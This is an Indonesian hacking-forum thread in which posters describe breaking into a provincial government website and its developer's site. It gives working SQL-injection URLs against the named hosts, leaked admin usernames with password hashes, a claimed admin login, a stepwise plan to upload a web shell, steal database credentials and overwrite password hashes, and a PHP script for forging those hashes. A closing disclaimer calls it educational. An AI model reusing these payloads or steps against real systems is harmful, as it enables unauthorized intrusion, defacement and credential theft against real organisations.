hole di http://bantenprov.go.id/ untuk sqli

[3xtr3m3b0y]

Mhn maaf sebelumnya, Usahakan klo bisa hilangkan kebiasaan OOT yg gak perlu, karena akan menurunkan kualitas diskusi kita...
Jika belum bisa memberikan komentar berupa jawaban, alangkah lebih baik jika melontarkan pertanyaan saja, sehingga diskusi bisa menjadi lebih berkembang...

Sekali lagi mohon maaf yg sedalam2nya...

[poni]

berita dan semua data bisa dimanipulasi


Hore... bisa baca sms masyarakat..


Informasi user,hak akses dan bagian data yang bisa diakses

Udah dapat user adminnya
ID = godmode
pass = *********** (sensor hehehhee)

[cyber_criminal]

iseng2 ngoprek situ pembuat bantenprov.go.id yaitu www.telematika.co.id, eh ada bug sqlinya juga, ini bugnya :

Code: Select all

http://www.telematika.co.id/?link=dtl&id=54'

ini tablenya :

Code: Select all

http://www.telematika.co.id/?link=dtl&id=-54%20union%20select%20all%201,2,3,4,group_concat%28table_name%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20information_schema.tables%20where%20table_schema=database%28%29--

ini isi dari table pengguna :

Code: Select all

http://www.telematika.co.id/?link=dtl&id=-54%20union%20select%20all%201,2,3,4,group_concat%28column_name%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20information_schema.columns%20where%20table_name=0x70656e6767756e61%20%20--

username dan password adminnya :

Code: Select all

http://www.telematika.co.id/?link=dtl&id=-54%20union%20select%20all%201,2,3,4,group_concat%28user_name,0x3a,password%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20pengguna

Code: Select all

sisyanto:3bef59a71875f84eb03b6d12c82d7e4c
dzarmono:cedba12e0b1d86be3628f72bbf257ef3
admin:ac43724f16e9241d990427ab7c8f4228

halaman loginnya

Code: Select all

http://www.telematika.co.id/admin/

sya ada pertanyaan neh untuk master2 yg sudah mahir dalam sqli, ini pertanyaannya :
saya sudah berhasil mengcrack password dari username admin, namun ketika saya masukkan username dan password ke dalam kolom login ternyata tidak bisa, kira2 itu masalahnya apa ya ? mohon bantuannya
:putusasa: :putusasa: :putusasa:

[cyber_criminal]

@om poni : mantab om, kalau boleh tau om ngecrack hasnya pake apaan ya ?

[3xtr3m3b0y]

sya ada pertanyaan neh untuk master2 yg sudah mahir dalam sqli, ini pertanyaannya :
saya sudah berhasil mengcrack password dari username admin, namun ketika saya masukkan username dan password ke dalam kolom login ternyata tidak bisa, kira2 itu masalahnya apa ya ? mohon bantuannya
:putusasa: :putusasa: :putusasa:

kemungkinannya ada 2 :
1. data user dan pass bukan pada tabel yg benar, kadang pengelola sengaja membuat tabel tipuan, solusinya harus ngecek tabelnya satu-persatu...

2. Halaman Login belum benar, kadang juga pengelola membuat halaman admin tipuan, solusinya coba cari halaman yg lain...

[poni]

cyber_criminal : coba cari tabel lainnya. klo di tabel 'Pengguna' passwordnya udah di salt. ada satu tabel yang berisi admin login dan hanya di enkrip dgn md5 tanpa salt. gue jg mau ralat bahwa tadi gue coba ternyata ID godmode hanya sebatas super user. ga bisa modifikasi isi web sebebas bebasnya. hanya beberapa konten yang memperbolehkan ID godmode menambah/modifikasi isi web.

[cyber_criminal]

makasih om poni dan om 3xtr3m3boy atas pencerahannya, saya akan berusaha mencari lebih dalam lagi.

[3xtr3m3b0y]

http://www.bantenprov.go.id/dl/.3xtr3m3b0y.txt

[poni]

http://www.bantenprov.go.id/dl/.3xtr3m3b0y.txt

wew. POC nya pak. login pake id apa kesana?

[3xtr3m3b0y]

Sy cuma melanjutkan apa yg sdh dikerjakan oleh Om Poni koq, kira2 begini Algoritmanya:

1. Login ke site admin www.banten.go.id
2. Upload WebShell
3. Cari file PHP utk koneksi ke database, utk memperoleh User & Pass Database
4. Koneksi ke database MySQL
5. Ganti Hash Password salah satu User pada tabel pengguna
6. Login ke www.bantenprov.go.id
7. Upload WebShell
8. Masih bisa dilanjutkan ke ROOTING, tp cukuplah smp langkah ke 7 sj

NB:
1. Pada langkah nomor 3, ternyata www.banten.go.id terkoneksi ke MySQL Server pada mesin www.bantenprov.go.id. Jadi jika dilakukan perubahan pada database, maka akan berefek pada kedua website tsb.

2. Pada langkah nomer 5, sy mengambil potongan2 file yg fungsinya utk melakukan proses Hashing, dari hal tsb sy dapat menghasilkan Hash Password yg sy sdh ketahui Plain Text-nya.

Berikut potongan skripnya :

Code: Select all

<?
function md5_base64($data)
{
return preg_replace('/=+$/','',base64_encode(pack('H*',md5($data))));
}

function kript($data)
{ $k = "I had a butterfly in my stomache";
$krip = sha1(md5_base64($data));

return $krip;
}
$TxtPasswd = 'password'; //Masukkan Plain Text Password Anda
$val = kript($TxtPasswd);
$md5_passwd = md5($val);
print $md5_passwd;
?>

Mhn maaf kalo bahasanya kacau, moga bisa sedikit dipahami :maaf:

PS: Buat XCoders dan Pengelola Website, ini semata2 utk tujuan pembelajaran, tidak sama sekali utk melakukan pengrusakan, moga dapat diambil pelajaran bagi kita semua...